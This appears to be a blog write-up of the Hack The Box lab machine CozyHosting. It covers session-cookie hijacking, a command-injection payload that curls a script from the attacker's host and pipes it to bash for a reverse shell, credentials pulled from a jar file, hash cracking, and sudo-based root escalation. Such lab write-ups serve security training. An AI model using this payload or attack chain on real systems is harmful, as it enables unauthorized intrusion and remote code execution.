Post

HTB Linux Easy: CozyHosting

CozyHosting is an Easy rated Linux machine on HTB.

HTB Linux Easy: CozyHosting

Nmap:

Pasted image 20240715100803.png

Shell access

Add the cozyhosting.htb domain to the hosts file. Pasted image 20240715100809.png

Enumerating port 80

Default/standard credentials don’t seem to work on the login page. Pasted image 20240715100757.png

Directory busting using Dirsearch: Pasted image 20240715100753.png

The /actuator/sessions seems interesting, visiting it results in a bunch of cookies being exposed, these could be used to try and login to the application if they are still valid. Pasted image 20240715100749.png

The first cookie that belongs to the kanderson user was used to authenticate. Pasted image 20240715100743.png

On the admin page we get a hint about SSH keys, the payload can be inspected in Burp. Pasted image 20240715100739.png

After trying out a few things I found out that leaving the username blank returned some sort of man page. This means we could possibly get RCE. Pasted image 20240715100736.png

Since we arent allowed to use whitespaces in the username section we’ll have to be creative with the payload:

1
2
# payload: 
host=127.0.0.1&username=";$(curl${IFS}10.10.14.153:8000/payload.sh|bash)"

Pasted image 20240715100727.png

On our machine we created a reverse shell bash script that we execute using curl. Pasted image 20240715100718.png

The script can be accessed because we are running a Python server in the directory of the script. Pasted image 20240715100713.png

Shell as the app user: Pasted image 20240715100706.png

Lateral movement

Transfer the jar file that is located in the app directory: Pasted image 20240715100701.png Pasted image 20240715100657.png

In the jar file credentials were identified: postgres:Vg&nvzAQ7XxR. Pasted image 20240715100650.png

The previous credentials were used to authenticate to the postgres database. Inside of this database, we find the following credentials: Pasted image 20240715100646.png

The admin password hash can be cracked using JohnTheRipper. Pasted image 20240715100641.png

In /etc/passwd we can only find the Josh user. Pasted image 20240715100637.png

SSH as the Josh user: Pasted image 20240715100632.png

Priv Esc

Sudo -l output. Pasted image 20240715100630.png

GTFObins can be used to elevate to root using SSH: Pasted image 20240715100626.png

User.txt

Pasted image 20240715100621.png

Root.txt

Pasted image 20240715100615.png

Pwned

Pasted image 20240715100608.png

Sources:

This post is licensed under CC BY 4.0 by the author.